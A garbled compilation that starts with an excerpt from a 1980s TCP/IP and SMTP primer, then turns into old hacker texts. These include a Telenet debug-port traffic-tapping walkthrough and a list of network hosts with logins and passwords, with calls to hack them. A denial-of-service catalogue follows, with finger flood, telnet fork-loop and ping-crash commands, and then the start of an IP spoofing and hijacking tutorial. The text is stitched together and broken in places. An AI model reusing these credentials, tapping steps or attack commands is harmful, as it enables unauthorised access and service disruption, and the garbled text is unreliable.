use context to differentiate. For example, the mail protocol works
like this: Your mail program opens a connection to the mail server at
the other end. Your program gives it your machine's name, the sender
of the message, and the recipients you want it sent to. It then sends
a command saying that it is starting the message. At that point, the
other end stops treating what it sees as commands, and starts
accepting the message. Your end then starts sending the text of the
message. At the end of the message, a special mark is sent (a dot in
the first column). After that, both ends understand that your program
is again sending commands. This is the simplest way to do things, and
the one that most applications use.

File transfer is somewhat more complex. The file transfer protocol
involves two different connections. It starts out just like mail.
The user's program sends commands like "log me in as this user", "here
is my password", "send me the file with this name". However once the
command to send data is sent, a second connection is opened for the
data itself. It would certainly be possible to send the data on the
same connection, as mail does. However file transfers often take a
long time. The designers of the file transfer protocol wanted to
allow the user to continue issuing commands while the transfer is
going on. For example, the user might make an inquiry, or he might
abort the transfer. Thus the designers felt it was best to use a
separate connection for the data and leave the original command
connection for commands. (It is also possible to open command
connections to two different computers, and tell them to send a file
from one to the other. In that case, the data couldn't go over the
command connection.)

Remote terminal connections use another mechanism still. For remote
logins, there is just one connection. It normally sends data. When
it is necessary to send a command (e.g. to set the terminal type or to
change some mode), a special character is used to indicate that the
next character is a command. If the user happens to type that special
character as data, two of them are sent.

We are not going to describe the application protocols in detail in
this document. It's better to read the RFC's yourself. However there
are a couple of common conventions used by applications that will be
described here. First, the common network representation: TCP/IP is
intended to be usable on any computer. Unfortunately, not all
computers agree on how data is represented. There are differences in
character codes (ASCII vs. EBCDIC), in end of line conventions
(carriage return, line feed, or a representation using counts), and in
whether terminals expect characters to be sent individually or a line
at a time. In order to allow computers of different kinds to
communicate, each applications protocol defines a standard
14

representation. Note that TCP and IP do not care about the
representation. TCP simply sends octets. However the programs at
both ends have to agree on how the octets are to be interpreted. The
RFC for each application specifies the standard representation for
that application. Normally it is "net ASCII". This uses ASCII
characters, with end of line denoted by a carriage return followed by
a line feed. For remote login, there is also a definition of a
"standard terminal", which turns out to be a half-duplex terminal with
echoing happening on the local machine. Most applications also make
provisions for the two computers to agree on other representations
that they may find more convenient. For example, PDP-10's have 36-bit
words. There is a way that two PDP-10's can agree to send a 36-bit
binary file. Similarly, two systems that prefer full-duplex terminal
conversations can agree on that. However each application has a
standard representation, which every machine must support.

3.1 An example application: SMTP

In order to give a bit better idea what is involved in the application
protocols, I'm going to show an example of SMTP, which is the mail
protocol. (SMTP is "simple mail transfer protocol.) We assume that a
computer called TOPAZ.RUTGERS.EDU wants to send the following message.

Date: Sat, 27 Jun 87 13:26:31 EDT
From: hedrick@topaz.rutgers.edu
To: levy@red.rutgers.edu
Subject: meeting

Let's get together Monday at 1pm.

First, note that the format of the message itself is described by an
Internet standard (RFC 822). The standard specifies the fact that the
message must be transmitted as net ASCII (i.e. it must be ASCII, with
carriage return/linefeed to delimit lines). It also describes the
general structure, as a group of header lines, then a blank line, and
then the body of the message. Finally, it describes the syntax of the
header lines in detail. Generally they consist of a keyword and then
a value.

Note that the addressee is indicated as LEVY@RED.RUTGERS.EDU.
Initially, addresses were simply "person at machine". However recent
standards have made things more flexible. There are now provisions
for systems to handle other systems' mail. This can allow automatic
forwarding on behalf of computers not connected to the Internet. It
can be used to direct mail for a number of systems to one central mail
server. Indeed there is no requirement that an actual computer by the
name of RED.RUTGERS.EDU even exist. The name servers could be set up
so that you mail to department names, and each department's mail is
routed automatically to an appropriate computer. It is also possible
that the part before the @ is something other than a user name. It is
possible for programs to be set up to process mail. There are also
provisions to handle mailing lists, and generic names such as
15

"postmaster" or "operator".

The way the message is to be sent to another system is described by
RFC's 821 and 974. The program that is going to be doing the sending
asks the name server several queries to determine where to route the
message. The first query is to find out which machines handle mail
for the name RED.RUTGERS.EDU. In this case, the server replies that
RED.RUTGERS.EDU handles its own mail. The program then asks for the
address of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program
opens a TCP connection to port 25 on 128.6.4.2. Port 25 is the
well-known socket used for receiving mail. Once this connection is
established, the mail program starts sending commands. Here is a
typical conversation. Each line is labelled as to whether it is from
TOPAZ or RED. Note that TOPAZ initiated the connection:

RED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT
TOPAZ HELO topaz.rutgers.edu
RED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU
TOPAZ MAIL From:<hedrick@topaz.rutgers.edu>
RED 250 MAIL accepted
TOPAZ RCPT To:<levy@red.rutgers.edu>
RED 250 Recipient accepted
TOPAZ DATA
RED 354 Start mail input; end with <CRLF>.<CRLF>
TOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT
TOPAZ From: hedrick@topaz.rutgers.edu
TOPAZ To: levy@red.rutgers.edu
TOPAZ Subject: meeting
TOPAZ
TOPAZ Let's get together Monday at 1pm.
TOPAZ .
RED 250 OK
TOPAZ QUIT
RED 221 RED.RUTGERS.EDU Service closing transmission channel

First, note that commands all use normal text. This is typical of the
Internet standards. Many of the protocols use standard ASCII
commands. This makes it easy to watch what is going on and to
diagnose problems. For example, the mail program keeps a log of each
conversation. If something goes wrong, the log file can simply be
mailed to the postmaster. Since it is normal text, he can see what
was going on. It also allows a human to interact directly with the
mail server, for testing. (Some newer protocols are complex enough
that this is not practical. The commands would have to have a syntax
that would require a significant parser. Thus there is a tendency for
newer protocols to use binary formats. Generally they are structured
like C or Pascal record structures.) Second, note that the responses
all begin with numbers. This is also typical of Internet protocols.
The allowable respons

2. Part 2:

Telnet:

Telenet The Secret Exposed...

For years, people and myself, have offtend tried to"work telenet unto a coma"..
With no success, for the past few years, i have gathered data, and finally
know the system, its faults, capabilities, and errors.
This really should be in a text file, but. i wish this information to
be reserved for the few users on this system.

before i start, here are a few basic commands to get famialir with:

Execution syntax of command function
------------------------------------------------------------------------

Connect c (sp) Connects to a host (opt)

Status stat Displays network port add

Full-Duplex full network echo

Half-Duplex half Termnial echo

Mail
or
Telemail mail telemail telemail

set Parmaters set (sp) 2:0,3:2 Select Pad Parameters

Paramaters set?(sp)2:0,3:2

escape escape from data modew

File Trasnfer dtape Prepares network for bulk

continue cont

disconnect bye or d

hang up hangup

terminial term(sp)d1 Set TERM

test

test(sp)char

test(sp)echo

test(sp)triangle

this is the end of the commands, view next msg for useage:

Trap and pipe x.25 prot. (telenet)...

Please note this is a very difficult transaction... The following
flow chart, will only work on a machine with atleast 10 Mhz..
However, an account on a unix, with cu capabilities will also work..

Package networking, is exactly what it means..
before, i go into detail, let me give you and over view...

-------------
Host
-------------
!
!
!
!
-----------------
telenet, remote
$divertor, and pacakge. ------------------ ! ! --------------------- ! ! ! ! ! ! ! ! u u u u s s s s e e e e r r r r s s s s If you notice carefully, there is online to the host and 4 users. That is how its packaged, for instance the first 100 mills. will be from user on then two etc.. The way telenet can tell which is user is which, is simply by the time. Time is of the essense. data is constantly been packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping and piping, a lead off of telenet, is to have as system running four proccewss and the same time, and have a master prgm. that switch's at the appropriate delays... As you can see this is where a 10 Mhz + system, is needed. On the host end. The host end consists of three things.. 1) 9600 baud modem 2) a dedicated telcue line 3) a network pad.. I doubt know one needs a lesson on the first two, but lets take a look at telenets, "weakest" link.. Network Pad ---------- There are three types of network pads a 4 pad 12 pad and 32 pad They really do not make a diffrence, it only changes the amount of users, capable of using on line.. example. if you have a 4 network pad. you system will be able to handle four users from telenet etc... The network pad is Such a piece of"**** you have know idea.. All parameters are set remotly by a telenet eng.. This is important... If the pad is every shutoff all parameters are lost.. and an eng. must reload the pad.. (again, this is done remotly) to give you a small ifea, of$the amount of programing in thms pad (which
i might add has over 2 megs of internal RAM) for an eng. to upload it ct
9600 bps.. it took approx 38 mins.

The Pad is not a computer, if ytou think about it though, if your
traveling at 1200 on telenet, your actually travling at 9600 and back to
1200.. when x.25 is unpacked..

How is the pad set remotly..

lets take an example...

c 2122

now c 2122 /(?this is an example)

ha four nodes its a siml divester to the next node. however you can
specify, the node you want

c"212.01
c 212.02
etc....

nodes can also"be stated as 2122a is the same as "2122.01
and 2122.03 is the same as 2122c

Now that we know how to access the indiv. nodes. let me show you a small
secret...

it always ends in 99

so, if i wanted to trap and tap c 2122

i would enter c 2122.99

you would get a connected.. but is you notice nothin happens..

at this point do not touch any keys.. a wrong key stroke, will
(dont forget, all network pads have a direct alarm signle.. so follow my
directions to the t...

enter in :

with out a return.. you should get telenet

if you dont give it a min. then hit return. your actually there. but the
prompt, just didnt print.. ok..

Now type

set 15:0

when entered.. hold 15 secs.. for a time delay..

then type in cont

to continue, with the host you brokg from.....

you will get a message:

TP3005 DEBUG PORT V5.37.03
&gt;

However
superman
represeting a male tech.
and
$wonderwomen repre. a woman tech.. when in your prompt is always a greater than sign: &gt; type the following: 7FDS HIT RETURN youll get a responce:$ E 01

NOW TYPE IN:
L7FE,L,A2,R2,D

then youll get a message: R 00A626 8805

now enter ing: 40588

YOUR RESPONCE WILL BE : E 01

right now you should open at least a 640K buffer.....

now type in &gt; R0589

YOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS
DUPLEX.
ONE LINE WILL LOOK LIKE THIS:

R 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000

þ"&]%%+f! ! )19AIQYai

ÿIt seems that not many of you know that Telenet is connected to about 80
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
with thousands of unprotected computers. When you call your local Telenet-
gateway, you can only call those computers which accept reverse-charging-calls.
If you want to call computers in foreign countries or computers in USA which
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
type ID XXXX when being connected to Telenet? You are then asked for the
password. If you have such a NUI (Network-User-ID) you can call nearly every
host connected to any computer-network in the world. Here are some examples:
026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for
CHRIS !!!)
0311050500061 is the Los Alamos Integrated computing network (One of the
hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
0530197000016 is a BBS in New Zealand
024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear
research centers in the world) Login as GUEST
0234212301161 A Videotex-standard system. Type OPTEL to get in and
use the ID 999_ with the password 9_
0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play
the Multi-User-Dungeon !)
0425130000215 Something like ITT Dialcom, but this one is in Israel !
ID HELP with password HELP works fine with security level 3
0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet
is connected to Telenet, too !) ID and Password is: PETER
You can read the news of the next day !

The prefixes are as follows:
02624 is Datex-P in Germany
02342 is PSS in England
03110 is Telenet in USA
03106 is Tymnet in USA
02405 is Telepak in Sweden
04251 is Isranet in Israel
02080 is Transpac in France
02284 is Telepac in Switzerland
02724 is Eirpac in Ireland
02704 is Luxpac in Luxembourg
05252 is Telepac in Singapore
04408 is Venus-P in Japan
...and so on... Some of the countries have more than one packet-switching-
network (USA has 11, Canada has 3, etc).

OK. That should be enough for the moment. As you see most of the passwords
are very simple. This is because they must not have any fear of hackers. Only
a few German hackers use these networks. Most of the computers are absolutely
easy to hack !!!
So, try to find out some Telenet-ID's and leave them here. If you need more
numbers, leave e-mail.
I'm calling from Germany via the German Datex-P network, which is similar to
Telenet. We have a lot of those NUI's for the German network, but none for
a special Tymnet-outdial-computer in USA, which connects me to any phone #.

PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
Informations on packet-switching-networks !

PS2: The new password for the Washington Post is KING !!!!

Distributed in part by:

Skeleton Crue xxx-xxx-xxxx located out of Moraga, California.
!!Get on the band wagon before it RUNS YOU DOWN!!
The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
(CH&AOS)

More Telnet information: :

The Basics of TELENET
Part I

This Bulletin is the first in a series to cover the general procedures of the
major data networks:

Telenet
Tymnet
Autonet
Arpanet

BACKGROUND
----------
Telenet connects many large computers to itself through dedicated telephone
lines, each of these 'host computers' is assigned a node address(ie.:NPAxx).
Telenet is an international data network, connecting to computers around the
world.See the International telenet bulletin for more on this.

CONNECTING
----------
Telenet is probably the most 'user friendly' network of the four listed. A
normal logon looks like this: [NPA=Area code,xx=node address] You hit &lt;CR&gt;
&lt;CR&gt; [2 Returns] Telenet respnds with:TELENET NPAxx

TERMINAL=(Here you type your terminal identifier) (See the bulletin section for
the list)

@

The '@' is Telenet's promt to you to go ahead.

Things to do on telenet
-----------------------
To connect to a node type:
@C NPAxx
Telenet will atempt to connect to the computer at the node given.
A few of the things that Telenet will say are:

NPAxx CONNECTED (You are connected to a computer)
ILLEGAL ADDRESS (Not a working node)
NPAxx NOT REACHABLE (The computer at that node is 'DOWN')
NPAxx REFUSED COLLECT CONNECTION(Needs a paid ID [More later]
NPAxx REJECTING (Computer is 'UP' but not available)
NPAxx NOT RESPONDING (The computer at that node is 'DOWN')

These are most of the things that Telenet will tell you

MORE THINGS TO DO
-----------------
Typing an @ while in a host computer will return you to Telenet You will
still be connected to the other computer, you may: D (to disconnect from that
computer) or TAPE (Unknown, possibly records your actions so that) (you may
look at them later)

If you type either of the above, while not connected to a node telenet will
respond with NOT CONNECTED

MISC.
-----
RESET (Returns Telenet to the beggining,you must start again (with the
&lt;CR&gt;&lt;CR&gt;)

SET (Unknown)

MAIL (To connect to GTE Telemail) It will ask for User? and Password?

NOTES
-----

In addition to the normal area codes in NPAxx there are also other NPA's used
in Telenet, 909 and 311, for instance.

Telenet hangs up after three disconnections from host computers, this
unfortunately is quite a PAIN in the ___ There is no way to get around this as
far as I can tell.

The ID command in Telenet is to Identify users to the host computers. You
tell you that your ID is cleared, which means nothing. To recieve a paid user
ID on telenet call them at: Telenet customer service:800-336-0437 800-572-
0408(In Virginia)

HACKING
-------
Telenet is very convinient for hackers as it connects many computers to your
terminal, without having to find and dial many numbers. Start your Telehacking
by picking an areacode and then trying all the nodes in that NPA. You will no
doubt find many interesting computers 'to work on'.

Here are instructions for using TELENET. There are some very basic things,
which most people already know, and some other things, which even the most
dedicated hackers have probably never even heard of. This includes things such
as international access, etc. Well, have fun.

THE TELENET CONNECTION

---------------------------- Data Network
| Identification Code (DNIC)
|
|
|
| ------------------- Area Code
| |
| |
| | |
| | | ----- Port Address
| | | |
| | | |
DDDD AAA HHHHH PP
|
Field for Packet Mode DTE

Example: Telenet International
------- -------------
212 141 3110 21200141
909 84 3110 90900084

1. Turn on the terminal and coupler.
2. Dial the nearest Telenet access number (See Telenet Public Dial listing).
When you hear a high-pitched tone, place the telephone

For Data Sets (Bell 103 or 113 type), depress the data button.

3. Type Two carriage returns (CR).
4. Telenet will give you a port identification number and ask you
to identify your terminal type in the two or four
character id for your terminal followed by a carriage
return (CR) or type carriage return (CR).

(EX.) TELENET
202 DL9
TERMINAL = AJ63(CR)

5. After Telenet prompts with a '@' type 'ID', skip a space (SP)
your GTE Telenet Representative to obtain a required caller
paid ID.)

(EX.) @ID(SP);INTL(CR)

6. After Telenet prompts with an @, type a C. skip a space and
type the network address of the computer you wish to access,
followed by a carriage return (CR).

(EX.) @C(SP)023411234567890(CR)

020801234567890 for France/Transpac
023421234567890 for United Kingdom/British Telecom
026241234567890 for Germany/Datex-P

7. Telenet will respond with a connection message. You are now

8. To disconnect from your computer, log off as usual. Telenet
will send you a disconnected message.

Hang up to disconnect from Telenet.

(CR) = Carriage return
(SP) = Space

___________________________________________________________________________

Finger:

ATTACKING FROM THE OUTSIDE
by http://www.student.tdb.uu.se/~t95hhu...e/outside.html

Most fingerd installations support redirections to another host.

Ex: $finger @system.two.com@system.one.com finger will in the example go through system.one.com and on to system.two.com. As far as system.two.com knows it is system.one.com who is fingering. So this method can be used for hiding, but also for a very dirty denial of service attack. Lock at this:$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

All those @ signs will get finger to finger host.we.attack again and again and again... The
effect on host.we.attack is powerful and the result is high bandwidth, short free memory and a
hard disk with less free space, due to all child processes.

The solution is to install a fingerd which don't support redirections, for example GNU finger.
You could also turn the finger service off.

UDP AND SUNOS 4.1.3.

SunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to
it. This is the cause if the ip_options indicate a wrong size of the packet.

The solution is to install the proper patch.

FREEZING UP X-WINDOWS

If a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and
6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be
made with multiple telnet connections to the port or with a program which sends multiple
XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

MALICIOUS USE OF UDP SERVICES

It is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial
IP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the
example the header claim that the packet came from 127.0.0.1 (loopback) and the target is the
echo port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack
and the loop has been establish.

Ex: from-IP=127.0.0.1

to-IP=system.we.attack

Packet type:UDP

from UDP port 7

to UDP port 7

Note that the name system.we.attack looks like a DNS-name, but the target should always be
represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter
of "Introduction to denial of service" A great deal of systems don't put loopback on the wire,
and simply emulate it. Therefore, this attack will only effect that machine in some cases. It's
much better to use the address of a different machine on the same network. Again, the default
services should be disabled in inetd.conf. Other than some hacks for mainframe IP stacks that
don't support ICMP, the echo service isn't used by many legitimate programs, and TCP echo
should be used instead of UDP where it is necessary.

ATTACKING WITH LYNX CLIENTS

A World Wide Web server will fork an httpd process as a respond to a request from a client,
typical Netscape or Mosaic. The process lasts for less than one second and the load will
therefore never show up if someone uses ps. In most causes it is therefore very safe to launch
a denial of service attack that makes use of multiple W3 clients, typical lynx clients.
But note that the netstat command can be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example some http-gw) will have problems besides the normal high bandwidth,
low memory... And the attack can in those causes get the server to loop.

MALICIOUS USE OF telnet

Study this little script:

Ex: while : ; do

telnet system.we.attack &

done

An attack using this script might eat some bandwidth, but it is nothing compared to the finger
method or most other methods. Well the point is that some pretty firewalls and httpd:s thinks
that the attack is a loop and turn them self down, until the administrator sends kill -HUP.

This is a simple high risk vulnerability that should be checked and if present fixed.

MALICIOUS USE OF telnet UNDER SOLARIS 2.4

If the attacker makes a telnet connections to the Solaris 2.4 host and quits using:

Ex: Control-}

quit

then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

HOW TO DISABLE ACCOUNTS

Some systems disable an account after N number of bad logins, or waits N seconds. You can use
this feature to lock out specific users from the system.

LINUX AND TCP TIME, DAYTIME

Inetd under Linux is known to crash if to many SYN packets sends to daytime (port 13)
and/or time (port 37).

The solution is to install the proper patch.

HOW TO DISABLE SERVICES

Most Unix systems disable a service after that N sessions have been open in a given time.
Well most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems
that have the default set to 48...

The solutions is to set the number to something reasonable.

PARAGON OS BETA R1.4

Paragon is Intels supercomputer platform built for high performance scientific and technical
computing. If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon
OS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system
to override routing tables. Routers use this to tell the host that it is sending to the wrong
router.

The solution is to install the proper patch.

NOVELLS NETWARE FTP

Novells Netware FTP server is known to get short of memory if multiple ftp sessions connects
to it, causing it to crash. About 5 at a time - 100 sessions total within a short period of
time, could do the trick.

ICMP ATTACKS

Gateways uses ICMP redirect to tell the system to override routing tables, that is telling the
system to take a better way. To be able to misuse ICMP redirection we must know an existing
connection If we have found a connection we can send a route that loses it connectivity or we
could send false messages to the host.

One could also send spoofed ICMP Source Quench messages, this could slow down the conncection.

Ex: (false messages to send)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use of the service.

This is a very popular method in networks there all of the hosts are acting as gateways.

There are many versions of the attack, but the basic method is to send a lot of packets to all
hosts in the network with a destination that don't exist. Each host will try to forward each
packet so the packets will bounce around for a long time. And if new packets keep coming the
network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for example ping, finger and
sendmail. But most services can be misused in some way or another.

EMAIL BOMBING AND SPAMMING

In a email bombing attack the attacker will repeatedly send identical email messages to an
address. The effect on the target is high bandwidth, a hard disk with less space and so on...
Email spamming is about sending mail to all (or rather many) of the users of a system. The point
of using spamming instead of bombing is that some users will try to send a replay and
if the address is false will the mail bounce back. In that cause have one mail transformed to
three mails. The effect on the bandwidth is obvious.

TIME AND KERBEROS

If not the the source and target machine is closely aligned will the ticket be rejected, that
means that if not the protocol that set the time is protected it will be possible to set a
kerberos server off function.

SUNOS KERNEL PANIC

Some SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after
that a connection has been reset.

HOSTILE APPLETS

A hostile applet is any applet that attempts to use your system in an inappropriate manner.
The problems in the java language could be sorted in two main groups:

1) Problems due to bugs.

2) Problems due to features in the language.

In group one we have for example the java bytecode verifier bug, which makes is possible for
an applet to execute any command that the user can execute.

Note that two other bugs could be found in group one, but they are both fixed in Netscape 2.01
and JDK 1.0.1.

Group two are more interesting and one large problem found is the fact that java can connect
to the ports. Meaning that all the methods described in .C.X. can be performed by an applet.

If you need a high level of security you should use some sort of firewall for protection against
java. As a user you could have java disable.

ANONYMOUS FTP ABUSE

If an anonymous FTP archive have a writable area it could be misused for a denial of service
attack similar with with .D.3. That is we can fill up the file system.

Also can a host get temporarily unusable by massive numbers of FTP requests.

SYN FLOODING

Both 2600 and Phrack have posted information about the syn flooding attack. 2600 have also
posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding attack is based on
an incomplete handshake. That is the attacker host will send a flood of syn packet but will not
respond with an ACK packet. The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received connection queue of
the target machine filled.

PING FLOODING

The impact of ping flooding is big. Under Unix we could try something like: ping -s host to
send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type in:
PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

In section xxxxxxxxxxxxxxxxxxxxxxxxxxxxx you can find information about a ping-flooding-gun.

Under Unix the -f switch could be of use.

CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES

If someone can ping your machine from a Windows 95 machine he or she might reboot, freeze or
crash your machine. The attacker simply writes:

And the machine will freeze or reboot.

A very good page about the problem and with a long list of affected systems can be found at

The page is maintained by Mr Mike Bremford.

The subnet mask reply message is used under the reboot, but some hosts are known to accept the
message any time without any check. If so all communication to or from the host can be
turned off.

The host should not accept the message any time but under the reboot.

FLEXlm

Any host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown
using the FLEXlm lmdown command.

# lmdown -c /etc/licence.dat

lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx

Are you sure? [y/n]: y

Shut down node xxx

#

BOOTING WITH TRIVIAL FTP

To boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an
attacker can use tftp to boot the host.

ATTACKING USENET

It can be possible to cancel some ones else's article, destroy newsgroups and sending false

ATTACKING NAME SERVERS

The name server is the program that holds the information about the domain and answers
questions. The part of the domain name space that the name server holds is referred to as
a zone.

The name server is seldom the only one, it is a to important service. Instead can at least two
be found, the primary master and the secondary master. However can not to many secondary
masters exist (10 ?). The secondary master provides a backup to the primary.

Every time the name server makes a request it collects and store information and next time if
another query is made for the information, it already have it in the cache.

An attack at the name server could have a very big impact. Many servers depends heavily on
proper working name servers, for example: rlogin, rsh, rcp, xhost, NFS, smtp, ftp...

To attack the name server could we of course use any method described in this paper, but the
machine running the name server seldom do anything except DNS-work. The DNS-server is also very
important and have had several security problems that are well known. Because of these reasons
will the DNS-server most likely be well protected and other services beside DNS will probably
not exist (although ping flooding could be a threat if not a firewall that filters ping from
the outside exist). The attack that are left is to attack the service it self at port 53.
We could for example:

Send random garbage to it.
Send true queries to it.
Use syn flooding.

Alternative two should be the most effective one, because it will do every thing that
alternative one do and beside that keep the service program it self busy looking up DNS-names.
Putting together a long random list with DNS-name will also contain mostly addresses outside
the zone, making the name server to try querying other name servers.

SSH AND PPP

If a PPP connection is made via SSH drops, all processes controlled by it can get zombied out.
The processes can not be killed with a kill -9 -1. To get rid of the zombies kill sshd.

system but do not give the password. Until you have given the password no one else will be

This is a matter of configuration.

BIND

Telnet to port 53 on a host running BIND-4.9.5-P1. Enter something for example abcdef, but if
that doesn't work just try something else. Hit enter and close the connection.

The server will not now accept any TCP connections and the named-process may consume a lot of
CPU time.

ping -sv -i 127.0.0.1 224.0.0.1

$ping -sv -i 127.0.0.1 224.0.0.1 Can cause Solaris to reboot or crash. qmail A machine running qmail can run out ouf memory if someone are sending SMTP commands of unlimited length. Two example programs can be found at address: http://www.student.tdb.uu.se/~t95hhu/programs/qmail.txt ___________________________________________________________________________ IP Spoofing Information: -=[ A short overview of IP spoofing: PART I ]=- -=[ Part of 'The Packet Project']=- (Includes Source for Linux 1.3.X and later kernels) All text and Source code written by Brecht Claerhout (Copyright 1996) All source tested on Linux kernel 2.0.X All packet data captured with Sniffit 0.3.2 (a pre-release at that time) ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ----------------------------------- 0. Introduction 0.1 What 0.2 For whom 0.3 Disclaimer 0.4 Licence 1. Short explanation of some words 2. Description of sourcecode 2.1 Source included 2.2 Programmer notes 3. TCP/IP (UDP) in an hazelnutshell 4. Non-blind spoofing 4.1 Know what you are doing 4.2 SYN flooding 4.3 Connection Killing 4.3.1 Using reset (RST) 4.3.2 Closing a connection (FIN) 4.3.3 Improving 4.4 Connection Hijacking 4.5 Other 5. The source code ------------------------------------------------------------------------------- PART I: Simple spoofing (Non blind) ------------------------------------------------------------------------------ 0. Introduction --------------- 0.1 What -------- This document describes some IP spoofing attacks and gives you example source code of the programs used for these attacks (and packet sniffer logs, so you see what exactly happens). It also provides you with an easy to use include file for experimenting a little yourself. Oh, if you make something nice with the "spoofit.h" file, please mail it to me (or a reference where it is available) with a little explanation on what it is (a few lines are enough)... If you have interesting remarks, comment, idea's, ... please contact me Brecht Claerhout &lt;Coder@reptile.rug.ac.be&gt; PoBox 144 9000 Gent 12 Belgium If YOU think of yourself, you are "3&gt;&lt;Tr3/\/\3lY 3Le3T", please don't bother contacting me. Flames &gt;/dev/null or &gt;/dev/echo depends on how smart you are. It is not wise to use what you don't know/understand, so read this before trying anything... it will only take a few minutes, and probably save you some hours of failure... This code is not crippled in the usual way (removing some vital parts), the power is limited by it's briefness, because I wanted to keep everything simple and illustrative (but working). It's a simple job to improve it, and that is the goal of this doc, that you improve it yourself. Thanks too Wim Vandeputte for spellchecking, and putting up with my constant nagging about IP during the writing of this sh!t... 0.2 For whom ------------ For people with an elementary knowledge of TCP/IP, some knowledge on C (only the basic setup) and some general UNIX knowledge. It's no use reading this document if you are completely unaware of these things, but mind you, only a little knowledge is enough. 0.3 Disclaimer -------------- I am in no way responsible for the use of this code. By using this software and reading this document you accept the fact that any damage (emotional, physical, dataloss and the end of the world as we know it ...) caused by the use or storage of these programs/documents is not MY responsability. I state that during the writing and testing of this document/source, I never violated any law. All spoofing was done between machines where I had legit root access, or where I had the permission from the legit root. This code can be written by any competent programmer, so this source is not so harmfull as some will say (cauz' I'm sure some people won't like this degree of disclosure). 0.4 Licence ----------- All source code and text is freely available. You can spread it, as long as you don't charge for it (exceptions are a small reproduction fee, if it isn't spread together with commercial software, texts.) You may not spread parts of the document, it should be spread as one package. You may not modify the text and/or source code. You can use the spoofit.h or derived code in your own programs as long as they are not commercial (i.e. FREE), and you give me the credits for it. 1. Short explanation of some words ---------------------------------- This is a short explanation of some words you might see in the text/source. You probably know all this, but I put it in here anyway. Sniffit My favourite Packet Sniffer, all sniffed sequences in this document where created with it. Sniffit can be obtained from: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html Off course any other decent sniffer will do (but this one wears my personal marks and approval). (At time of writing a pre-release 0.3.2) IP-spoofing (further referenced to as spoofing) The forging of IP packets NOTE that not only IP based protocols are spoofed. NOTE that spoofing is also used on a constructive base (LAN spoofing, not discussed here). NOTE that I don't use it on a constructive base ;) Non-blind spoofing Using the spoofing to interfer with a connection that sends packets along your subnet (so generally one of the 2 hosts involved is located on your subnet, or all data traffic has to be passing your network device,... you might consider taking a job at some transatlantic route provider). Blind spoofing Using the spoofing to interfer with a connection (or creating one), that does not send packets along your cable. 2. Description of sourcecode ---------------------------- 2.1 Source included ------------------- spoofit.h The include file that provides some easy to use spoofing functions. To understand the include file and it's functions, read the header of that file for use of the C functions. *.c Example programs (on the use of spoofit.h) that are discussed in this document. Details on these programs are included in the appropriate sections. sniper-rst.c Basic TCP connection killer. (denial-of-services) sniper-fin.c Basic TCP connection killer. (denial-of-services) hijack.c Simple automated telnet connection hijacker. 2.2 Programmer notes -------------------- These programs are just examples. That means, they could be improved a lot. Because I wanted to keep them short and leave some stuff to your imagination, they are very simple. However they all work and are a good starting point. 3. TCP/IP (UDP) in an hazelnutshell ----------------------------------- Because it has been explained enough in 'Phrack Volume Seven, Issue Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of documentation available on the subject I will only repeat some things very briefly. (Please read the phrack #48 file or any other document on the subject before reading this). A connection is fully defined with 4 parameters, a source host and port, and a destination host and port. When you make a connection, data is send in packets. Packets take care of low level trafic, and make sure the data arrives (sometimes with special error handling). The spine of most networks is the IP protocol version 4. It is totally independent of all hardware protocols. TCP and UDP are higher level protocols wrapped up in IP packets. All those packets consist of a header and data. IP header contains (amongst other things): IP of source and destination hosts for that packet, and the protocol type of the packet wrapped up in it. (TCP=6, UDP=17, etc.). UDP packets contain (amongst other things): port number of source and destination host. UDP has no such thing as SEQ/ACK, it is a very weak protocol. TCP packets contain (amongst other things): port number of source and destination host, sequence and acknowledge numbers (further refered to as SEQ/ACK), and a bunch of flags. SEQ 